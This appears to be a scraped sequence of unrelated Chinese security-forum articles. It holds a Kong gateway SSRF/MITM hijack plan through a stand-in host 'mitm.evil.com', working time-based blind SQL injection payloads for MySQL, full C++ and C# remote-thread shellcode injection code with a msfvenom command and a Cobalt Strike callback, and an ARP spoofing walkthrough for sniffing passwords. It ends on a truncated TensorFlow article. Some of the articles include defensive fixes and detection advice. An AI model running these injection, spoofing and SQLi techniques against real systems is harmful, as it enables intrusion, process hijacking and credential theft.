* 信息泄露 - 查看当前配置信息("服务"地址等)
* Basic SSRF - 可回显Response的SSRF: 通过添加Route到内网其他重要"(web)服务"实现
* MITM - 如获取所有普通用户发向某个"(web)服务"的HTTP/HTTPS请求、响应
因为Kong常搭建在云环境中，云环境中的SSRF漏洞的危害更大，参考[云安全 - 研究云环境下对SSRF的检测与防御（以AWS为例
](https://xz.aliyun.com/t/7198#toc-1)，简单说就是`利用SSRF漏洞->访问云提供商自带的管理API->获取云服务器访问权限`。
### MITM全过程原理
#### 正常逻辑
一个普通用户的正常访问过程
请求过程 `client --request--> Kong api_1 --request--> service 1`
响应过程 `client <--response-- Kong api_1 <--response-- service 1`
#### 实现MITM全过程
只看"请求"劫持的全过程("响应“劫持也是类似的)
* 第1步
* "复制" 原本就存在的Kong api_1 得到Kong api_2 它们都指向 service 1
* 此时，如果普通用户发出HTTP请求到api_2，与访问api_1得到的Response Body完全相同
* 第2步 创建并配置MITM站点
* (1) 创建中间人站点 `mitm.evil.com`
* (2) 配置MITM站点，实现请求处理(保存/修改/丢弃...) ; 最后将处理后的请求 转发到 Kong api_2
* 第3步 修改Kong api_1指向的服务
* Kong api_1原本指向 `service 1`
* Kong api_1(hijacking) 现在指向 `mitm.evil.com`
* 这一步是MITM全过程中最后进行的一步,放到最后做可以避免正常用户访问失败
#### MITM的效果
一个普通用户的访问过程(Kong api_1已被劫持)
请求过程 `client --request--> Kong api_1(hijacking) --request-->
mitm.evil.com(forwarding) --request--> api_2 --request--> service 1`
响应过程 `client <--response-- Kong api_1(hijacking) <--response--mitm.evil.com(forwarding) <--response-- api_2 <--response-- service 1`
* 一个普通用户的访问(被劫持全过程):
* (1)一个普通用户的请求发向 Kong api_1(hijacking) ，Kong把请求发到其指向的"web服务":MITM站点
* (2)MTIM站点实现Request处理(保存/修改/丢弃...)并将Request转发到 Kong api_2
* (3) Kong api_2 将请求发到其指向的"web服务":service 1 得到Response,返回给:MTIM站点
* (4) MTIM站点实现Response处理(保存/修改/丢弃...)并将Response转发到 Kong api_1(hijacking)
* (5) 这个普通用户得到了Response
#### 检测MTIM
* 如何检测这种MTIM？本次MITM攻击会产生这些异常:
* Kong api_2指向的那个正常服务service 1，正常情况下会收到来自不同源IP的请求，如上MITM攻击后，只能收到来自`mitm.evil.com`的请求。
* kong的服务器会主动连接互联网的`mitm.evil.com`(流量大小 取决于被劫持接口的正常流量大小)
### 修复方法
1.仅本机可访问Admin Restful API. 修改 docker-compose.yaml: 将`8001:8001`
改为`127.0.0.1:8001:8001`,将`8444:8444` 改为`127.0.0.1:8444:8444`
2.设置严格的ACL,仅允许必要的访问
### 总结
Kong未授权漏洞根本原因：不恰当的配置导致"Admin Restful API的端口可被公网访问"。
所以不管使用哪个版本，只要进行了不恰当的配置，导致Admin Restful API可被攻击者访问，都会存在风险。
Kong的用途决定了它可以管理一些南北向流量，内网可访问的范围大。
而且Kong是"云原生"(cloud-native)应用，常部署在云环境上，如果Kong不恰当配置导致存在未授权漏洞，危害更大。
漏洞原理简单，但应重视不恰当配置导致的漏洞。 | 社区文章 |
> 本文翻译自：<https://stealingthe.network/efficient-time-based-blind-sql-injection-> using-mysql-bit-functions-and-operators/>
我在2011年至2012年期间针对MySQL数据库集成的各种PHP应用程序进行了一些渗透测试，发现这些数据库容易受到基于时间的SQL盲注攻击。由于各种阻碍和限制，处理起来有些许棘手，因此，我不得不找到一种允许我尽可能少地检索数据的方法。
我偶然发现了使用位移技术演示SQL注入的文章：<https://www.exploit-db.com/papers/17073/>
在最近的CTF比赛Hack the Box（<https://www.hackthebox.eu/> )中，我再次使用这种方法来处理一些棘手的SQL注入。
这篇博文将演示如何使用'右移'运算符（>>）来枚举从SQL查询返回的二进制形式的值。
注意：可以在以下URL找到位运算符的完整说明：<https://dev.mysql.com/doc/refman/5.7/en/bit-functions.html>
右移位运算符是将一个二进制数按指定移动的位数向右移动，如下例所示：
mysql> select ascii(b'01110010');
+--------------------+
| ascii(b'01110010') |
+--------------------+
| 114 |
+--------------------+
1 row in set (0.00 sec)
mysql> select ascii(b'01110010') >> 1;
+-------------------------+
| ascii(b'01110010') >> 1 |
+-------------------------+
| 57 |
+-------------------------+
1 row in set (0.00 sec)
这可以用在利用SQL盲注入时枚举字符串的字符。如果数据出现在ASCII表中，则每个字符最多可以枚举8次。
我们希望通过此方法提取的数据是查询返回的第一个字符：`select user()`
第一位：
首先，我们找到第一位的值：
**？**???????
这有两种可能性：
0（十进制值：0）// TRUE
或者
1（十进制值：1）// FALSE
mysql> select if ((ascii((substr(user(),1,1))) >> 7 )=0,benchmark(10000000,sha1('test')), 'false');
+--------------------------------------------------------------------------------------+
| if ((ascii((substr(user(),1,1))) >> 7 )=0,benchmark(10000000,sha1('test')), 'false') |
+--------------------------------------------------------------------------------------+
| 0 |
+--------------------------------------------------------------------------------------+
1 row in set (2.35 sec)
SQL查询存在时延，所以条件为TRUE，即第一位为0
**0** ???????
第二位：
现在，我们需要找第二位的值。同上，这也有两种可能性：
0 **0** （十进制值：0）// TRUE
或者
0 **1** （十进制值：1）// FALSE
mysql> select if ((ascii((substr(user(),1,1))) >> 6 )=0,benchmark(10000000,sha1('test')), 'false');
+--------------------------------------------------------------------------------------+
| if ((ascii((substr(user(),1,1))) >> 6 )=0,benchmark(10000000,sha1('test')), 'false') |
+--------------------------------------------------------------------------------------+
| false |
+--------------------------------------------------------------------------------------+
1 row in set (0.00 sec)
SQL查询没有时延，所以条件为FALSE，即第二位为1
0 **1** ?????
第三位：
接下来是第三位的值，同上，有以下两种情况：
01 **0** （十进制值：2）// TRUE
或者
01 **1** （十进制值：3）// FALSE
mysql> select if ((ascii((substr(user(),1,1))) >> 5 )=2,benchmark(10000000,sha1('test')), 'false');
+--------------------------------------------------------------------------------------+
| if ((ascii((substr(user(),1,1))) >> 5 )=2,benchmark(10000000,sha1('test')), 'false') |
+--------------------------------------------------------------------------------------+
| false |
+--------------------------------------------------------------------------------------+
1 row in set (0.00 sec)
SQL查询没有时延，所以条件为FALSE，即第三位为1
01 **1** ?????
第四位：
然后是第四位的值。同上，有两种可能：
011 **0** （十进制：6）//TRUE
或者
011 **1** （十进制：7）// FALSE
mysql> select if ((ascii((substr(user(),1,1))) >> 4 )=6,benchmark(10000000,sha1('test')), 'false');
+--------------------------------------------------------------------------------------+
| if ((ascii((substr(user(),1,1))) >> 4 )=6,benchmark(10000000,sha1('test')), 'false') |
+--------------------------------------------------------------------------------------+
| false |
+--------------------------------------------------------------------------------------+
1 row in set (0.00 sec)
SQL查询没有时延，所以条件为FALSE，即第四位为1
011 **1** ????
第五位：
然后是第五位的值。同上，有两种可能：
0111 **0** （十进制：14）//TRUE
或者
0111 **1** （十进制：15）// FALSE
mysql> select if ((ascii((substr(user(),1,1))) >> 3 )=14,benchmark(10000000,sha1('test')), 'false');
+---------------------------------------------------------------------------------------+
| if ((ascii((substr(user(),1,1))) >> 3 )=14,benchmark(10000000,sha1('test')), 'false') |
+---------------------------------------------------------------------------------------+
| 0 |
+---------------------------------------------------------------------------------------+
1 row in set (2.46 sec)
SQL查询存在时延，所以条件为TRUE，即第五位为0
0111 **0**???
第六位：
然后是第六位的值。同上，有两种可能：
01110 **0** （十进制：28）//TRUE
或者
01110 **1** （十进制：29）// FALSE
mysql> select if ((ascii((substr(user(),1,1))) >> 2 )=28,benchmark(10000000,sha1('test')), 'false');
+---------------------------------------------------------------------------------------+
| if ((ascii((substr(user(),1,1))) >> 2 )=28,benchmark(10000000,sha1('test')), 'false') |
+---------------------------------------------------------------------------------------+
| 0 |
+---------------------------------------------------------------------------------------+
1 row in set (2.44 sec)
SQL查询存在时延，因此条件为TRUE，所以第六位为0
01110 **0** ??
第七位：
再然后是第七位的值。同上，有两种可能：
011100 **0** （十进制：56）//TRUE
或者
011100 **1** （十进制：57）// FALSE
mysql> select if ((ascii((substr(user(),1,1))) >> 1 )=56,benchmark(10000000,sha1('test')), 'false');
+---------------------------------------------------------------------------------------+
| if ((ascii((substr(user(),1,1))) >> 1 )=56,benchmark(10000000,sha1('test')), 'false') |
+---------------------------------------------------------------------------------------+
| false |
+---------------------------------------------------------------------------------------+
1 row in set (0.00 sec)
SQL查询没有时延，所以条件为FALSE，即第七位为1
第四位必须为1
011100 **1** ？
第八位：
最后，我们需要找到第八位的值。同上，有两种可能：
0111001 **0** （十进制：114）//TRUE
或者
0111001 **1** （十进制：115）// FALSE
mysql> select if ((ascii((substr(user(),1,1))) >> 0 )=114,benchmark(10000000,sha1('test')), 'false');
+----------------------------------------------------------------------------------------+
| if ((ascii((substr(user(),1,1))) >> 0 )=114,benchmark(10000000,sha1('test')), 'false') |
+----------------------------------------------------------------------------------------+
| 0 |
+----------------------------------------------------------------------------------------+
1 row in set (2.33 sec)
SQL查询存在时延，所以条件为TRUE，即第八位为0
0111001 **0**
现在我们可以得出结论，查询返回的第一个字符的二进制值：`select user()`是 **01110010** ，结果是十进制值为 **114**
。114是' **r** '字符的ASCII码。
mysql> select user();
+----------------+
| user() |
+----------------+
| root@localhost |
+----------------+
1 row in set (0.00 sec)
为了演示这种类型的SQL盲注攻击，我已经讲述了怎样枚举在bWAPP上容易受到攻击的应用程序中由'`select user()`'
返回的第一个字符的第一个和最后一个二进制位：（<https://www.vulnhub.com/entry/bwapp-bee-box-v16,53/）>
1.SQLi字符串为第一位返回一个TRUE条件：
test%27+and+if+((ascii((substr(user(),1,1)))+>>+7+)=0,benchmark(5000000,md5('test')),+'false')%23
2.SQLi字符串为第一位返回一个FALSE条件：
test%27+and+if+((ascii((substr(user(),1,1)))+>>+7+)=1,benchmark(5000000,md5('test')),+'false')%23
3.SQLi字符串为第8位返回TRUE条件：
test%27+and+if+((ascii((substr(user(),1,1)))+>>+0+)=114,benchmark(5000000,md5('test')),+'false')%23
如果您喜欢这篇文章，请分享给您的朋友。 | 社区文章 |
## 0x01介绍
最近在看如何执行shellcode的方法，发现了一种叫做代码注入的方式可以使用，查了下资料，技术很久就在用了，但现在还是有很多apt组织在使用，比如APT37,Backdoor.Oldrea,AuditCred,于是学习一下。木马和病毒的好坏很大程度上取决于它的隐蔽性，木马和病毒本质上也是在执行程序代码，如果采用独立进程的方式需要考虑隐藏进程否则很容易被发现，在编写这类程序的时候可以考虑将代码注入到其他进程中，而进程注入是一种在单独的进程的地址空间中执行任意代码的方法。本文将介绍代码注入的原理以及如何使用。
## 0x02常见函数
为了实现代码注入，微软提供了一个邪恶的函数`CreateRemoteThread`,想要执行用户代码，在Windows中最常见的就是使用回调的方式，Windows采用的是事件驱动的方式，只要发生了某些事件就会调用回调，在众多使用回调的场景中，线程的回调是最简单的，它不会干扰到目标进程的正常执行，也就不用考虑最后还原EIP的问题。最常见的就是使用`CreateRemoteThread`创建一个远程线程。
### OpenProcess
要对进程执行内存操作，我们必须能够访问它。可以通过使用`OpenProcess`函数获得
HANDLE OpenProcess(
DWORD dwDesiredAccess,//对进程对象的请求访问权限
BOOL bInheritHandle,//布尔值，指示此进程创建的进程是否将继承此句柄。
DWORD dwProcessId//这是受害者进程的进程标识符
);
### VirtualAllocEx
一旦我们获得受害者进程的句柄，我们继续为受害者进程内存中的shellcode分配空间。这是通过使用`VirtualAllocEx` 调用完成的。
LPVOID VirtualAllocEx(
HANDLE hProcess,//我们想要分配内存的进程
LPVOID lpAddress,//受害者进程内存中指定地址的指针
SIZE_T dwSize,//分配的内存区域的大小
DWORD flAllocationType,//指定要分配的内存类型
DWORD flProtect//它指定分配的内存保护,我们将其设置为PAGE_EXECUTE_READWRITE。
);
### WriteProcessMemory
`WriteProcessMemory`是一个将数据写入指定进程的内存区域的函数。需要注意的是整个内存区域必须是可写的，否则会失败，所以我们将内存分配为可写，并与可读和可执行文件一起分配。
BOOL WriteProcessMemory(
HANDLE hProcess,//我们想要写入数据的进程
LPVOID lpBaseAddress,//我们想要写入数据的地址
LPCVOID lpBuffer,//指向必须写入的数据的指针
SIZE_T nSize,//写入的数据量
SIZE_T *lpNumberOfBytesWritten//指向SIZE_T的指针，它将存储写入该目标的字节数。
);
### CreateRemoteThread
`CreateRemoteThread`是一个用于创建在另一个进程的虚拟空间中运行的线程的函数。
HANDLE CreateRemoteThread(
HANDLE hProcess,// 目标进程句柄
LPSECURITY_ATTRIBUTES lpThreadAttributes,// 安全属性
SIZE_T dwStackSize, // 进程堆栈大小
LPTHREAD_START_ROUTINE lpStartAddress, // 进程函数
LPVOID lpParameter, // 进程参数
DWORD dwCreationFlags, // 创建标志
LPDWORD lpThreadId // 参数返回ID
);
## 0x03大概流程
通过`CreateRemoteThread` API 实现代码注入
1. 选择一个受害者进程。
2. 使用`OpenProcess`函数获取对进程的访问权限，以便能够执行所需的操作。
3. 使用`VirtualAllocEx`函数在进程空间中分配内存。
4. 将`shellcode`写入`VirtualAllocEx`分配的内存位置。
5. 调用`CreateRemoteThread`。
## 0x04 写代码
有了思路，就是写代码了，参考大佬的[代码](https://github.com/thepwnrip/code-injection)
VOID injectShellcode(DWORD dwPID) {
BOOL bWriteSuccess;
DWORD dwThreadId;
HANDLE hProcess;
HANDLE hRemoteThread;
SIZE_T numBytes;
SIZE_T payloadSize;
LPVOID lpRemoteMem;
cout << "\t[*]获取进程PID : " << dwPID << endl;
hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPID);
if (hProcess == INVALID_HANDLE_VALUE)
{
cerr << "\t\t[!]获取远程进程的句柄失败" << endl;
return;
}
cout << hex;
cout << "\t\t[+] 进程句柄 : 0x" << hProcess << endl;
lpRemoteMem = nullptr;
cout << "\t[*] 为shellcode分配内存" << endl;
lpRemoteMem = VirtualAllocEx(hProcess, nullptr, 1024, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (!lpRemoteMem)
{
cerr << "\t\t[!] 远程进程中分配内存失败." << endl;
CloseHandle(hProcess);
return;
}
cout << "\t\t[+] 分配内存 : 0x" << lpRemoteMem << endl;
cout << "\t[*] 尝试将shellcode写入进程" << endl;
payloadSize = sizeof(popCalc64);
bWriteSuccess = WriteProcessMemory(hProcess, lpRemoteMem, popCalc64, payloadSize, &numBytes);
if (!bWriteSuccess)
{
cerr << "\t\t[!] shellcode写入失败. ";// " << numBytes << " bytes instead of " << payloadSize << " bytes." << endl;
CloseHandle(hProcess);
return;
}
cout << "\t\t[+] 尝试将shellcode写入进程." << endl;
cout << "\t[*] 创建一个新线程来执行shellcode." << endl;
hRemoteThread = CreateRemoteThread(hProcess, nullptr, 0, (LPTHREAD_START_ROUTINE)lpRemoteMem, nullptr, 0, &dwThreadId);
if (!hRemoteThread)
{
cerr << "\t\t[!] 创建新线程失败." << endl;
CloseHandle(hProcess);
return;
}
cout << "\t\t[+] 进程创建成功: 0x" << dwThreadId << endl;
WaitForSingleObject(hRemoteThread, INFINITE);
CloseHandle(hRemoteThread);
CloseHandle(hProcess);
}
## 0x05演示
好了，既然我们已经有了思路，也有方法了,就差实践了,那就弹个计算器试试
`msfvenom -p windows/x64/exec CMD=calc -b "\x00" -f c`
用msf生成shellcode
这里输入的PID是记事本的PID，可以看到成功打开计算器
### shell
弹出计算器还远远达不到我们的要求，只有shell才是我最终的目的,这里使用cs自带的shellcode来演示,执行代码，输入记事本的PID
成功将shellcode注入记事本中，上线
## 0x06 最后
我们从开始原理到最后实现上线，基本知道了代码注入是啥，小弟也是第一次研究这个，有什么错误还请各位师傅指出!
另外附上c#版本代码
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Runtime.InteropServices;
using System.Security.Principal;
using System.Diagnostics;
[DllImport("Kernel32", SetLastError = true)]
static extern IntPtr OpenProcess(uint dwDesiredAccess, bool bInheritHandle, uint dwProcessId);
[DllImport("Kernel32", SetLastError = true)]
static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
[DllImport("Kernel32", SetLastError = true)]
static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, [MarshalAs(UnmanagedType.AsAny)] object lpBuffer, uint nSize, ref uint lpNumberOfBytesWritten);
[DllImport("Kernel32", SetLastError = true)]
static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, ref uint lpThreadId);
[DllImport("Kernel32", SetLastError = true)]
static extern uint WaitForSingleObject(IntPtr hHandle, uint dwMilliseconds);
[DllImport("Kernel32", SetLastError = true)]
static extern bool CloseHandle(IntPtr hObject);
//http://www.pinvoke.net/default.aspx/kernel32/OpenProcess.html
public enum ProcessAccessRights
{
All = 0x001F0FFF,
Terminate = 0x00000001,
CreateThread = 0x00000002,
VirtualMemoryOperation = 0x00000008,
VirtualMemoryRead = 0x00000010,
VirtualMemoryWrite = 0x00000020,
DuplicateHandle = 0x00000040,
CreateProcess = 0x000000080,
SetQuota = 0x00000100,
SetInformation = 0x00000200,
QueryInformation = 0x00000400,
QueryLimitedInformation = 0x00001000,
Synchronize = 0x00100000
}
//https://docs.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualallocex
public enum MemAllocation
{
MEM_COMMIT = 0x00001000,
MEM_RESERVE = 0x00002000,
MEM_RESET = 0x00080000,
MEM_RESET_UNDO = 0x1000000,
}
//https://docs.microsoft.com/en-us/windows/win32/memory/memory-protection-constants
public enum MemProtect
{
PAGE_EXECUTE = 0x10,
PAGE_EXECUTE_READ = 0x20,
PAGE_EXECUTE_READWRITE = 0x40,
PAGE_EXECUTE_WRITECOPY = 0x80,
PAGE_NOACCESS = 0x01,
PAGE_READONLY = 0x02,
PAGE_READWRITE = 0x04,
PAGE_WRITECOPY = 0x08,
PAGE_TARGETS_INVALID = 0x40000000,
PAGE_TARGETS_NO_UPDATE = 0x40000000,
}
public static void CodeInject(int pid, byte[] buf)
{
try
{
uint lpNumberOfBytesWritten = 0;
uint lpThreadId = 0;
Console.WriteLine($"[+] Obtaining the handle for the process id {pid}.");
IntPtr pHandle = OpenProcess((uint)ProcessAccessRights.All, false, (uint)pid);
Console.WriteLine($"[+] Handle {pHandle} opened for the process id {pid}.");
Console.WriteLine($"[+] Allocating memory to inject the shellcode.");
IntPtr rMemAddress = VirtualAllocEx(pHandle, IntPtr.Zero, (uint)buf.Length, (uint)MemAllocation.MEM_RESERVE | (uint)MemAllocation.MEM_COMMIT, (uint)MemProtect.PAGE_EXECUTE_READWRITE);
Console.WriteLine($"[+] Memory for injecting shellcode allocated at 0x{rMemAddress}.");
Console.WriteLine($"[+] Writing the shellcode at the allocated memory location.");
if (WriteProcessMemory(pHandle, rMemAddress, buf, (uint)buf.Length, ref lpNumberOfBytesWritten))
{
Console.WriteLine($"[+] Shellcode written in the process memory.");
Console.WriteLine($"[+] Creating remote thread to execute the shellcode.");
IntPtr hRemoteThread = CreateRemoteThread(pHandle, IntPtr.Zero, 0, rMemAddress, IntPtr.Zero, 0, ref lpThreadId);
bool hCreateRemoteThreadClose = CloseHandle(hRemoteThread);
Console.WriteLine($"[+] Sucessfully injected the shellcode into the memory of the process id {pid}.");
}
else
{
Console.WriteLine($"[+] Failed to inject the shellcode into the memory of the process id {pid}.");
}
//WaitForSingleObject(hRemoteThread, 0xFFFFFFFF);
bool hOpenProcessClose = CloseHandle(pHandle);
}
catch (Exception ex)
{
Console.WriteLine("[+] " + Marshal.GetExceptionCode());
Console.WriteLine(ex.Message);
}
}
参考:
<https://attack.mitre.org/techniques/T1055/>
<https://bbs.pediy.com/thread-119091.htm>
<https://pwnrip.com/demystifying-code-injection-techniques-part-1-shellcode-injection/>
<https://blog.csdn.net/lanuage/article/details/82561106> | 社区文章 |
# 浅谈Arp攻击和利用Arp欺骗进行MITM
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 索引
arp欺骗也是很古老的渗透手段了，主要起着信息收集的作用，比如你可以利用欺骗获取对方的流量，从流量分析你认为重要的信息，例如某某账号密码。或是利用Arp攻击，切断局域网内某一用户的网络访问（单向欺骗）。下面着重讲一下中间人攻击的原理，配和实战演练分析，不对的地方，还请大家多多反馈和包涵！
## MITM
**借用Wiki百科的一个比喻来理解MITM（中间人攻击）：**
假设爱丽丝（Alice）希望与鲍伯（Bob）通信。同时，马洛里（Mallory）希望拦截窃会话以进行窃听并可能在某些时候传送给鲍伯一个虚假的消息。
1. 首先，爱丽丝会向鲍勃索取他的公钥。如果Bob将他的公钥发送给Alice，并且此时马洛里能够拦截到这个公钥，就可以实施中间人攻击。马洛里发送给爱丽丝一个伪造的消息，声称自己是鲍伯，并且附上了马洛里自己的公钥（而不是鲍伯的）。
2. 爱丽丝收到公钥后相信这个公钥是鲍伯的，于是爱丽丝将她的消息用马洛里的公钥（爱丽丝以为是鲍伯的）加密，并将加密后的消息回给鲍伯。马洛里再次截获爱丽丝回给鲍伯的消息，并使用马洛里自己的私钥对消息进行解密，如果马洛里愿意，她也可以对消息进行修改，然后马洛里使用鲍伯原先发给爱丽丝的公钥对消息再次加密。当鲍伯收到新加密后的消息时，他会相信这是从爱丽丝那里发来的消息。
我们的身份就是Mallory，我们希望欺骗Alice和Bob，让其认为我们是交互的正确目标，从而来获取他们之间交流的信息。
## Arp攻击分析
想要进行中间人攻击，先理解最基础的arp攻击
### Arp协议
ARP（Address Resolution
Protocol，地址解析协议）是一个位于TCP/IP协议栈中的网络层，负责将某个IP地址解析成对应的MAC地址。
以太网（局域网）进行信息传输时，不是根据IP地址进行通信，因为IP地址是可变的，用于通信是不安全的。然而MAC地址是网卡的硬件地址，一般出厂后就具有唯一性。ARP协议就是将目标IP地址解析成MAC地址进行验证通信。
### Arp通信过程
1. 每台主机都会在自己的ARP缓冲区建立一个ARP列表（生命周期二十分钟），用于表示IP地址和MAC地址的对应关系。
2. 主机A若想和主机B通信，首先主机A会查询Arp缓存表（后面称ip-mac缓存表）是否有B主机对应的ip-mac，有的话就将B主机的mac地址封装到数据包发送。若没有的话，主机A会向以太网发送一个Arp广播包，告诉以太网内的所有主机自己的ip-mac，并请求B主机（以ip来表示B主机）的mac地址。当B主机收到Arp广播包后，确认A主机是想找自己的mac地址，就会对A主机进行回应一个自己的mac地址。A主机就会更新自己的ip-mac缓存表，同时B主机也会接收A主机的ip-mac对应关系到自己的ip-mac缓存表。
### Arp协议缺陷
ARP协议信任以太网所有的节点，效率高但是不安全。这份协议没有其它字协议来保证以太网内部信息传输的安全，它不会检查自己是否接受或发送过请求包，只要它就收到的arp广播包，他就会把对应的ip-mac更新到自己的缓存表
### 网关的理解
在wiki中这样定义网关：
在计算机网络中，网关（英语：Gateway）是转发其他服务器通信数据的服务器，接收从客户端发送来的请求时，它就像自己拥有资源的源服务器一样对请求进行处理。有时客户端可能都不会察觉，自己的通信目标是一个网关
区别于路由器（由于历史的原因，许多有关TCP/IP的文献曾经把网络层使用的路由器（英语：Router）称为网关，在今天很多局域网采用都是路由来接入网络，因此现在通常指的网关就是路由器的IP），经常在家庭中或者小型企业网络中使用，用于连接局域网和Internet。
网关也经常指把一种协议转成另一种协议的设备，比如语音网关。
网关可以把内网ip转化为外网ip，从而向服务器发出请求。也可以把外网Ip获得的数据包转换成内网ip发给内网主机。
### Arp攻击原理
根据以上说的arp协议缺陷，如果我们冒充网关主机C，不停的向以太网发送自己的ARP广播包，告知自己的ip-mac，此时其它主机就会被欺骗，更新我们C的ip-mac为网关主机的ip-mac，那么其它主机的数据包就会发送到C主机上，因为没有发给真正的网关，就会造成其它主机的网络中断。
## Arp攻击实操
### 环境
攻击主机A：Kali—>ip: 192.168.11.106
被攻击主机B： windows 7—>ip: 192.168.11.105
网关主机C： 192.168.11.1
我的Kali是在虚拟机下，需要Bridge连接保证机器在同一网段，很多人用Nat连接来转发，在实战的轻快下，需要更改虚拟机的网络配置。
网络配置如图:
### 实操
这里模拟真实环境，攻击主机A和被攻击主机B在同一局域网下。
**1\. 先用命令查看一下ip是否正确：**
Kali：
可以看到ip是192.168.11.106
Windows7：
ip是192.168.11.105，网关地址是192.108.11.1
**2\. 用nmap查看当前网端的活跃主机**
nmap -sF 192.168.11.0/24
扫描得到如图活跃主机，可以看到我们的主机B。当然获取Ip的途径不可能这么简单，你也可以用fping的方法来分析，之前我用fping探测局域网windows10的主机，发现Ping不通，win10防火墙还是有点东西。不过你可以根据fping的发送包来推断主机是否真正存活，具体可以google一下fping的用法，这里给推荐一个链接
[Kali信息收集：Fping](https://www.cnblogs.com/dunitian/p/5074783.html)
**3\. 检查被攻击主机是否可以正常上网**
百度正常访问
**4\. 利用Arpspoof进行欺骗攻击**
Kali自带的Arpspoof可以很好的进行欺骗，man arpspoof查看官网手册（网上翻译）：
名字
arpspoof # 截获交换局域网中的数据包
用法
arpspoof [-i interface] [-c own|host|both] [-t target] [-r] host
描述
# arpspoof通过伪造的ARP响应包改变局域网中从目标主机（或所有主机）到另一个主机（host）的数据包转发路径。这是交换局域网中嗅探网络流量的一种极为有效的方法。内核IP转发（或如fragrouter这样的、用户层面的、能完成同样功能的软件）必须提前开启。
参数
-i interface
# 指定要使用的接口（即指定一块网卡）
-c own|host|both
# 指定在恢复ARP配置时使用的硬件地址；当在清理（cleaning up）时，数据包的源地址可以用自己的也可以用主机（host）的硬件地址。使用伪造的硬件地址可能导致某些配置下的交换网络、AP网络或桥接网络通信中断，然而它比起默认值————使用自己的硬件地址要工作地更为可靠。
-t target
# 指定一个特殊的、将被ARP毒化的主机（如果没有指定，则认为是局域网中所有主机）。重复可以指定多个主机。
-r
# 毒化两个主机（目标和主机（host））以捕获两个方向的网络流量。（仅仅在和-t参数一起使用时有效）
host #你想要截获数据包的主机 (通常是网关)。
**5\. 主机A作为网关主机欺骗**
命令语句
arpspoof -i eth0 -t 192.168.11.105 192.168.1.1
执行命令，Kali会向主机B发送ARP响应包，响应包的内容是Kali的ip-mac地址，而响应包里的ip则是网关主机ip地址。每一行代表一个响应包。从左到右：自己Kali的mac、主机B的mac、帧类型码(0806，代表ARP包)、包大小、包内容。
**6\. 被攻击主机B网络中断**
我们在B主机用`arp -a`查看一下是否欺骗成功
可以看到，网关主机C和攻击者主机A的mac地址相同，欺骗成功
在kali终端输入control + c 可以停止，清空并恢复原来正确的arp相应包，主机重新恢复联网状态
## 基于Arp攻击理解下的MITM
在前面Arp成功进行攻击后，我们开始作为中间人进行欺骗，需要设置ip转发，获取目标主机B的流量，其后配合其它工具(drifnet)等进行进一步嗅探。
值得一提的是，我们的Arp攻击也是欺骗，但它是单向欺骗，冒充网关主机来欺骗目标主机。实际中，中间人攻击一般是双向欺骗。即作为中间人，主机A双向欺骗主机B与C获得通信内容，但是不破坏通信数据的传输。为了不影响B与C传输的数据丢失，主机A开启ip转发，开启后来自B主机的数据包经过A主机的Kali后转发给主机C。欺骗两个主机B和C后，我们就能嗅探到双向数据包。
如果你的kali在虚拟机，那么以下步骤均需要一个外置的usb无线网卡。在虚拟机中，网络的连接比较复杂，而Ip转发很大程度上取决于网卡性能。如果你是在虚拟机中Kali进行转发，基本都会失败，因为笔记本的内置无限网卡满足不了需求。由于放假在家我的usb无线网卡落在了寝室..下面仅以文字给大家介绍攻击的思路和流程，还请见谅…….
### linux的ip转发
linux因为系统安全，是不支持IP转发的，其配置文件写在/proc/sys/net/ipv4的ip_forward中。默认为0，需要修改为1。
开启方法大致有两种：
1. 只接进入文件修改
cd /proc/sys/net/ipv4
ls
cat ip_forward
#显示结果为0
echo 1 > ip_forward
cat ip_forward
#显示结果为1，修改成功
2. 使用echo
# echo "1"> /proc/sys/net/ipv4/ip_forward
### 对网关和目标主机B的双向欺骗
这里进行一步执行，选用第二种Ip转发手段
命令如下：
root@kali:~# echo 1 > /proc/sys/net/ipv4/ip_forward && arpspoof -i eth0 -t 192.168.11.105 -r 192.168.11.1
### 利用driftnet进程监控
持续保持欺骗，再重新打开一个命令终端。
输入命令：
root@kali:~# driftnet -i eth0
跳出来的drift窗口即会显示本机正在浏览的图片
### 使用ettercap工具获取密码
1. 打开新的终端，输入 attercap -G 启动工具
2. 点击Sniff -> unified sniffing，选择要抓包的网卡，默认是自己的网卡eth0，点确定
3. 然后单击Hosts -> Scan for host，待扫描完成后再次Scan for host，此时可以看到ettercap-NG已经扫描的主机列表
4. 选择攻击目标，点击192.168.11.105的ip地址，点击Add to Target 1 ，然后选择网关的ip地址192.168.11.1，点击Add to Target 2
5. 明确目标攻击方式：点击Mitm -> arp poisoning -> Sniff remote connections -> 确定
6. 开始监听：start -> Start sniffing
工具就会抓取主机B的数据包和主机C返回的数据包,分析http post请求可以判断账号密码信息。
### urlsnarf：获得受害者的HTTP请求
输入命令：
root@kali:~# urlsnarf -i eth0
### 使用Wireshark抓包
使用Wireshark抓取所有的数据包，过滤分析不同请求，类似于ettercap。
例如，要找HTTP POST请求，过滤，查看明文密码，一般是以POST形式上传的账号密码。
## 关于Arp欺骗的防御
防御原理很简单，就是不让攻击者肆意表明自己就是网关主机。我们进入网关主机（路由器后台地址），网络参数一栏一般有ip与mac绑定一栏，把网关的mac地址与网关地址绑定就好了。只要确定了对应关系，当攻击者发布arp相应包时，就不会更新相应的ip-mac缓存表。
我们重新进行欺骗后，再查询B主机的arp缓存表，如图
网关主机的mac并没有被欺骗成功，我们的防御达到目的
如果想知道对方主机的ip地址其实也容易。我们在Cmd下键入命令`arp -a`看一下相同mac，就找到了攻击者。
## 总结
* 公共区域的wifi存在钓鱼风险
* 在传输数据过程中尽量使用加密程序 | 社区文章 |
### TensorFlow是什么
官方的定义–TensorFlow是一个使用数据流图来进行数值计算的开源软件库。简单来说，TensorFlow是Google开源的深度学习框架。
### TensorFlow初学者在使用过程中可能遇到的问题及解决办法
1.出现的问题：
